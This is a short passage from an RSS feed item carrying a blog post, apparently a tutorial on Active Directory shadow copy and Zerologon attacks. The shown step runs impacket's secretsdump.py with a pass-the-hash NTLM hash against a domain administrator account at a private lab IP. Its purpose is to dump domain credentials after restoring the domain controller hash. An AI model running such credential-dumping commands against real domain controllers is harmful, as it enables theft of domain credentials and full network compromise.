id="step-5-verify-that-the-domain-controller-hash-was-restored"&gt;&lt;a href="#step-5-verify-that-the-domain-controller-hash-was-restored" class="header-anchor"&gt;&lt;/a&gt;Step 5: Verify That the Domain Controller HASH Was Restored&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/administrator@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;</description></item></channel></rss>